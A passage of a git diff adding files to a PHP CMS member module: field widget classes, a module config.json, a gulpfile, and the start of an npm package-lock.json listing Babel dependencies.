+ public function formAsDisplay($v) + { + $this->addVariables(['formAsDisplay' => $v]); + return $this; + } + + public function renderView(AbstractField $field, $item, $index = 0) + { + switch ($field->renderMode()) { + case FieldRenderMode::GRID: + case FieldRenderMode::DETAIL: + $this->renderAsDisplay(); + break; + case FieldRenderMode::FORM: + if ($this->getVariable('formAsDisplay')) { + $this->renderAsDisplay(); + } + break; + } + return parent::renderView($field, $item, $index); + } + + private function renderAsDisplay() + { + $this->hookRendering(function (AbstractField $field, $item, $index) { + $column = $field->column(); + $value = ArrayUtil::getByDotKey(ModelUtil::toArray($item), $column); + return MemberCmsUtil::showFromId($value, $this->getVariable('memberFieldName')); + }); + } +} diff --git a/module/Member/Widget/Field/AdminMemberSelector.php b/module/Member/Widget/Field/AdminMemberSelector.php new file mode 100644 index 00000000..3eed2305 --- /dev/null +++ b/module/Member/Widget/Field/AdminMemberSelector.php @@ -0,0 +1,30 @@ +addVariables([ + 'server' => modstart_admin_url('member/select'), + ]); + } + + + public function renderView(AbstractField $field, $item, $index = 0) + { + return parent::renderView($field, $item, $index); + } + +} diff --git a/module/Member/Widget/Field/MemberImage.php b/module/Member/Widget/Field/MemberImage.php new file mode 100644 index 00000000..e0c71ac9 --- /dev/null +++ b/module/Member/Widget/Field/MemberImage.php @@ -0,0 +1,25 @@ +addVariables(['server' => modstart_web_url('member_data/file_manager/image')]); + } + +} diff --git a/module/Member/config.json b/module/Member/config.json new file mode 100644 index 00000000..8e766d1d --- /dev/null +++ b/module/Member/config.json @@ -0,0 +1,112 @@ +{ + "name": "Member", + "title": "用户系统", + "version": "4.7.0", + "modstartVersion": ">=4.0.0", + "author": "官方", + "description": "提供基础的用户注册、登录服务", + "env": [ + "laravel5", + "laravel9" + ], + "types": [ + "PC", + "Mobile", + "Admin" + ], + "tags": [ + "会员" + ], + "require": [ + "Vendor:>=1.9.0" + ], + "suggest": [ + "MemberApi", + "MemberAuthDialog", + "MemberBatchImport", + "MemberCert", + "MemberChat", + "MemberComment", + "MemberCreditCharge", + "MemberCreditChargeCard", + "MemberCreditWithdraw", + "MemberFav", + "MemberFollow", + "MemberGuest", + "MemberInvite", + "MemberInviteCode", + "MemberInvoice", + "MemberLike", + "MemberLoginBackground", + "MemberMessageBatchSend", + "MemberMultiavatar", + "MemberOauth", + "MemberPay", + "MemberRandomAvatarTecmz", + "MemberRate", + "MemberReward", + "MemberSecurityGuard", + "MemberSign", + "MemberSSOClient", + "MemberSSOServer", + "MemberWechatMpLogin", + "MemberOrderCard", + "MemberDistribution", + "MemberChargeCard", + "Voucher" + ], + "config": { + "moneyEnable": [ + [ + "switch", + "启用钱包" + ] + ], + "creditEnable": [ + [ + "switch", + "启用积分" + ] + ], + "creditName": [ + [ + "text", + "积分全局名称" + ], + [ + "placeholder", + "默认为积分" + ] + ], + "vipEnable": [ + [ + "switch", + "启用VIP" + ] + ], + "addressEnable": [ + [ + "switch", + "启用地址" + ] + ], + "groupEnable": [ + [ + "switch", + "启用分组" + ] + ], + "dataStatisticEnable": [ + [ + "switch", + "启用存储限制" + ] + ], + "adminLoginEnable": [ + [ + "switch", + "启用后台一键登录" + ] + ] + } +} diff --git a/module/Member/resources/asset/gulpfile.js b/module/Member/resources/asset/gulpfile.js new file mode 100644 index 00000000..6ebc0882 --- /dev/null +++ b/module/Member/resources/asset/gulpfile.js @@ -0,0 +1,3 @@ +const gulp = require('gulp'); +const gulpfile = require('./../../../../vendor/modstart/modstart/resources/asset/src/mod/gulpfile.js'); +gulpfile(gulp, __dirname) diff --git a/module/Member/resources/asset/package-lock.json b/module/Member/resources/asset/package-lock.json new file mode 100644 index 00000000..34caefaf --- /dev/null +++ b/module/Member/resources/asset/package-lock.json @@ -0,0 +1,8174 @@ +{ + "requires": true, + "lockfileVersion": 1, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.13.tgz", + "integrity": "sha1-3PyCa+72XnXFDiHTg319lXmN1lg=", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/compat-data": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/compat-data/download/@babel/compat-data-7.13.8.tgz", + "integrity": "sha1-W3g7mAjxXO9xVH8baR80+P9gA6Y=", + "dev": true + }, + "@babel/core": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/core/download/@babel/core-7.13.10.tgz", + "integrity": "sha1-B94FC72Bk/zYo8J5GMCJBhOpRVk=", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-compilation-targets": "^7.13.10", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helpers": "^7.13.10", + "@babel/parser": "^7.13.10", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.1.2", + "lodash": "^4.17.19", + "semver": "^6.3.0", + "source-map": "^0.5.0" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npm.taobao.org/@babel/generator/download/@babel/generator-7.13.9.tgz", + "integrity": "sha1-Onqpb577jivkLTjYDizrTGTY3jk=", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-annotate-as-pure/download/@babel/helper-annotate-as-pure-7.12.13.tgz?cache=0&sync_timestamp=1612314636125&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-annotate-as-pure%2Fdownload%2F%40babel%2Fhelper-annotate-as-pure-7.12.13.tgz", + "integrity": "sha1-D1jobfxLs7H819uAZXDhd9Q5tqs=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-builder-binary-assignment-operator-visitor/download/@babel/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz?cache=0&sync_timestamp=1612314760016&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor%2Fdownload%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor-7.12.13.tgz", + "integrity": "sha1-a8IDYciLCnTQUTemXKyNPL9vYfw=", + "dev": true, + "requires": { + "@babel/helper-explode-assignable-expression": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/helper-compilation-targets/download/@babel/helper-compilation-targets-7.13.10.tgz", + "integrity": "sha1-ExChZ4y4QnwHp1N1DaT4zkQr3Qw=", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.8", + "@babel/helper-validator-option": "^7.12.17", + "browserslist": "^4.14.5", + "semver": "^6.3.0" + } + }, + "@babel/helper-create-class-features-plugin": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/helper-create-class-features-plugin/download/@babel/helper-create-class-features-plugin-7.13.10.tgz", + "integrity": "sha1-Bzsru5JaCXZDxvxXcOXxM5Toh8k=", + "dev": true, + "requires": { + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-member-expression-to-functions": "^7.13.0", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13" + } + }, + "@babel/helper-create-regexp-features-plugin": { + "version": "7.12.17", + "resolved": "https://registry.npm.taobao.org/@babel/helper-create-regexp-features-plugin/download/@babel/helper-create-regexp-features-plugin-7.12.17.tgz", + "integrity": "sha1-oqyH6eMZJprGVbjUQV6U041mPLc=", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.12.13", + "regexpu-core": "^4.7.1" + } + }, + "@babel/helper-define-polyfill-provider": { + "version": "0.1.5", + "resolved": "https://registry.npm.taobao.org/@babel/helper-define-polyfill-provider/download/@babel/helper-define-polyfill-provider-0.1.5.tgz?cache=0&sync_timestamp=1614675039383&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-define-polyfill-provider%2Fdownload%2F%40babel%2Fhelper-define-polyfill-provider-0.1.5.tgz", + "integrity": "sha1-PC+Rt5cbn8Ef53nJRcAUBl3qNA4=", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + } + }, + "@babel/helper-explode-assignable-expression": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-explode-assignable-expression/download/@babel/helper-explode-assignable-expression-7.13.0.tgz?cache=0&sync_timestamp=1614034820129&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-explode-assignable-expression%2Fdownload%2F%40babel%2Fhelper-explode-assignable-expression-7.13.0.tgz", + "integrity": "sha1-F7XFn/Rz2flW9A71cM86dsoSZX8=", + "dev": true, + "requires": { + "@babel/types": "^7.13.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-function-name/download/@babel/helper-function-name-7.12.13.tgz", + "integrity": "sha1-k61lbbPDwiMlWf17LD29y+DrN3o=", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-get-function-arity/download/@babel/helper-get-function-arity-7.12.13.tgz?cache=0&sync_timestamp=1612314636323&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-get-function-arity%2Fdownload%2F%40babel%2Fhelper-get-function-arity-7.12.13.tgz", + "integrity": "sha1-vGNFHUA6OzCCuX4diz/lvUCR5YM=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-hoist-variables/download/@babel/helper-hoist-variables-7.13.0.tgz?cache=0&sync_timestamp=1614034827237&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-hoist-variables%2Fdownload%2F%40babel%2Fhelper-hoist-variables-7.13.0.tgz", + "integrity": "sha1-XViC6FW1xe2pHgytwmxueiyFk9g=", + "dev": true, + "requires": { + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + } + }, + "@babel/helper-member-expression-to-functions": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-member-expression-to-functions/download/@babel/helper-member-expression-to-functions-7.13.0.tgz?cache=0&sync_timestamp=1614034820887&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-member-expression-to-functions%2Fdownload%2F%40babel%2Fhelper-member-expression-to-functions-7.13.0.tgz", + "integrity": "sha1-aqS7Z44PjCL1jNt5RR0wSURhsJE=", + "dev": true, + "requires": { + "@babel/types": "^7.13.0" + } + }, + "@babel/helper-module-imports": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-module-imports/download/@babel/helper-module-imports-7.12.13.tgz?cache=0&sync_timestamp=1612314636371&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-module-imports%2Fdownload%2F%40babel%2Fhelper-module-imports-7.12.13.tgz", + "integrity": "sha1-7GfkQE9BdQRj5FXMMgP2oy6T/LA=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-module-transforms": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-module-transforms/download/@babel/helper-module-transforms-7.13.0.tgz", + "integrity": "sha1-QutL2O6mi6tGdRISw1e/7YtA9vE=", + "dev": true, + "requires": { + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-simple-access": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/helper-validator-identifier": "^7.12.11", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0", + "lodash": "^4.17.19" + } + }, + "@babel/helper-optimise-call-expression": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-optimise-call-expression/download/@babel/helper-optimise-call-expression-7.12.13.tgz?cache=0&sync_timestamp=1612314636446&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-optimise-call-expression%2Fdownload%2F%40babel%2Fhelper-optimise-call-expression-7.12.13.tgz", + "integrity": "sha1-XALRcbTIYVsecWP4iMHIHDCiquo=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-plugin-utils/download/@babel/helper-plugin-utils-7.13.0.tgz?cache=0&sync_timestamp=1614034818498&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-plugin-utils%2Fdownload%2F%40babel%2Fhelper-plugin-utils-7.13.0.tgz", + "integrity": "sha1-gGUmzhJa7QM3O8QWqCgyHjpqM68=", + "dev": true + }, + "@babel/helper-remap-async-to-generator": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-remap-async-to-generator/download/@babel/helper-remap-async-to-generator-7.13.0.tgz?cache=0&sync_timestamp=1614034828650&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-remap-async-to-generator%2Fdownload%2F%40babel%2Fhelper-remap-async-to-generator-7.13.0.tgz", + "integrity": "sha1-N2p2DZ97SyB3qd0Fqpw5J8rbIgk=", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-wrap-function": "^7.13.0", + "@babel/types": "^7.13.0" + } + }, + "@babel/helper-replace-supers": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-replace-supers/download/@babel/helper-replace-supers-7.13.0.tgz?cache=0&sync_timestamp=1614034826193&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-replace-supers%2Fdownload%2F%40babel%2Fhelper-replace-supers-7.13.0.tgz", + "integrity": "sha1-YDS3tRlDCUy0FieEjLIZywK+HSQ=", + "dev": true, + "requires": { + "@babel/helper-member-expression-to-functions": "^7.13.0", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + } + }, + "@babel/helper-simple-access": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-simple-access/download/@babel/helper-simple-access-7.12.13.tgz?cache=0&sync_timestamp=1612314636475&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-simple-access%2Fdownload%2F%40babel%2Fhelper-simple-access-7.12.13.tgz", + "integrity": "sha1-hHi8xcrPaqFnKyUcHS3eXM1hpsQ=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.12.1", + "resolved": "https://registry.npm.taobao.org/@babel/helper-skip-transparent-expression-wrappers/download/@babel/helper-skip-transparent-expression-wrappers-7.12.1.tgz?cache=0&sync_timestamp=1602802635520&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-skip-transparent-expression-wrappers%2Fdownload%2F%40babel%2Fhelper-skip-transparent-expression-wrappers-7.12.1.tgz", + "integrity": "sha1-Ri3GOn5DWt6EaDhcY9K4TM5LPL8=", + "dev": true, + "requires": { + "@babel/types": "^7.12.1" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/helper-split-export-declaration/download/@babel/helper-split-export-declaration-7.12.13.tgz?cache=0&sync_timestamp=1612314636310&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-split-export-declaration%2Fdownload%2F%40babel%2Fhelper-split-export-declaration-7.12.13.tgz", + "integrity": "sha1-6UML4AuvPoiw4T5vnU6vITY3KwU=", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npm.taobao.org/@babel/helper-validator-identifier/download/@babel/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha1-yaHwIZF9y1zPDU5FPjmQIpgfye0=", + "dev": true + }, + "@babel/helper-validator-option": { + "version": "7.12.17", + "resolved": "https://registry.npm.taobao.org/@babel/helper-validator-option/download/@babel/helper-validator-option-7.12.17.tgz?cache=0&sync_timestamp=1613661300791&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-validator-option%2Fdownload%2F%40babel%2Fhelper-validator-option-7.12.17.tgz", + "integrity": "sha1-0fvwEuGnm37rv9xtJwuq+NnrmDE=", + "dev": true + }, + "@babel/helper-wrap-function": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/helper-wrap-function/download/@babel/helper-wrap-function-7.13.0.tgz?cache=0&sync_timestamp=1614034827683&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-wrap-function%2Fdownload%2F%40babel%2Fhelper-wrap-function-7.13.0.tgz", + "integrity": "sha1-vbXGb9qFJuwjWriUrVOhI1x5/MQ=", + "dev": true, + "requires": { + "@babel/helper-function-name": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + } + }, + "@babel/helpers": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/helpers/download/@babel/helpers-7.13.10.tgz", + "integrity": "sha1-/Y4rp0iFM83qxFzBWOnryl48ffg=", + "dev": true, + "requires": { + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + } + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/highlight/download/@babel/highlight-7.13.10.tgz", + "integrity": "sha1-qLKmYUj1sn1maxXYF3Q0enMdUtE=", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.10", + "resolved": "https://registry.npm.taobao.org/@babel/parser/download/@babel/parser-7.13.10.tgz", + "integrity": "sha1-j4+b97Ovo+q9Bh96W830/sPEhAk=", + "dev": true + }, + "@babel/plugin-proposal-async-generator-functions": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-async-generator-functions/download/@babel/plugin-proposal-async-generator-functions-7.13.8.tgz", + "integrity": "sha1-h6rLV0s7xLVgP2/kFFjXKlouxLE=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0", + "@babel/plugin-syntax-async-generators": "^7.8.4" + } + }, + "@babel/plugin-proposal-class-properties": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.13.0.tgz", + "integrity": "sha1-FGN2AAuU79AB5XpAqIpSWvqrnzc=", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-proposal-dynamic-import": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-dynamic-import/download/@babel/plugin-proposal-dynamic-import-7.13.8.tgz", + "integrity": "sha1-h2ofaWbh3sMy6MlFGv2jvrzfLh0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-proposal-export-namespace-from": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-export-namespace-from/download/@babel/plugin-proposal-export-namespace-from-7.12.13.tgz?cache=0&sync_timestamp=1612314774011&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-export-namespace-from%2Fdownload%2F%40babel%2Fplugin-proposal-export-namespace-from-7.12.13.tgz", + "integrity": "sha1-OTvkekrNA/oq9uPN6bBuM94bRG0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + } + }, + "@babel/plugin-proposal-json-strings": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-json-strings/download/@babel/plugin-proposal-json-strings-7.13.8.tgz", + "integrity": "sha1-vx+zYlRwda/aNjTtMVccWQGv73s=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-logical-assignment-operators/download/@babel/plugin-proposal-logical-assignment-operators-7.13.8.tgz", + "integrity": "sha1-k/p41jhXxAzjyMMxUiD9AL+7Tho=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + } + }, + "@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.13.8.tgz", + "integrity": "sha1-NzCjHa/TwQ2MzRBkjtgKKsVHLvM=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-proposal-numeric-separator": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.12.13.tgz", + "integrity": "sha1-vZ2jGI54e1EgtPnUZagmHOZ+0ds=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-proposal-object-rest-spread": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-object-rest-spread/download/@babel/plugin-proposal-object-rest-spread-7.13.8.tgz", + "integrity": "sha1-XSEKTXJ9bOOxj53oLMmaOWTu1go=", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.8", + "@babel/helper-compilation-targets": "^7.13.8", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.13.0" + } + }, + "@babel/plugin-proposal-optional-catch-binding": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-optional-catch-binding/download/@babel/plugin-proposal-optional-catch-binding-7.13.8.tgz", + "integrity": "sha1-Ota9WQFQbqmW/DG9zzzPor7XEQc=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + } + }, + "@babel/plugin-proposal-optional-chaining": { + "version": "7.13.8", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.13.8.tgz", + "integrity": "sha1-4535Pv5+fmIYQbq8GXmC4UDpB1Y=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.13.0", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-private-methods/download/@babel/plugin-proposal-private-methods-7.13.0.tgz", + "integrity": "sha1-BL1MbUD25rv6L1fi2AlLrZAO94c=", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" + } + }, + "@babel/plugin-proposal-unicode-property-regex": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-unicode-property-regex/download/@babel/plugin-proposal-unicode-property-regex-7.12.13.tgz?cache=0&sync_timestamp=1612314730740&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-unicode-property-regex%2Fdownload%2F%40babel%2Fplugin-proposal-unicode-property-regex-7.12.13.tgz", + "integrity": "sha1-vr3lEzm+gpwXqqrO0YZB3rYrObo=", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-async-generators/download/@babel/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha1-qYP7Gusuw/btBCohD2QOkOeG/g0=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-class-properties/download/@babel/plugin-syntax-class-properties-7.12.13.tgz?cache=0&sync_timestamp=1612314770269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-class-properties%2Fdownload%2F%40babel%2Fplugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha1-tcmHJ0xKOoK4lxR5aTGmtTVErhA=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-dynamic-import/download/@babel/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha1-Yr+Ysto80h1iYVT8lu5bPLaOrLM=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-export-namespace-from/download/@babel/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha1-AolkqbqA28CUyRXEh618TnpmRlo=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-json-strings/download/@babel/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha1-AcohtmjNghjJ5kDLbdiMVBKyyWo=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-logical-assignment-operators/download/@babel/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha1-ypHvRjA1MESLkGZSusLp/plB9pk=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-nullish-coalescing-operator/download/@babel/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha1-Fn7XA2iIYIH3S1w2xlqIwDtm0ak=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-numeric-separator/download/@babel/plugin-syntax-numeric-separator-7.10.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-numeric-separator%2Fdownload%2F%40babel%2Fplugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha1-ubBws+M1cM2f0Hun+pHA3Te5r5c=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-object-rest-spread/download/@babel/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha1-YOIl7cvZimQDMqLnLdPmbxr1WHE=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-catch-binding/download/@babel/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha1-YRGiZbz7Ag6579D9/X0mQCue1sE=", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-chaining/download/@babel/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha1-T2nCq5UWfgGAzVM2YT+MV4j31Io=", + "dev": true, + "requires": { + 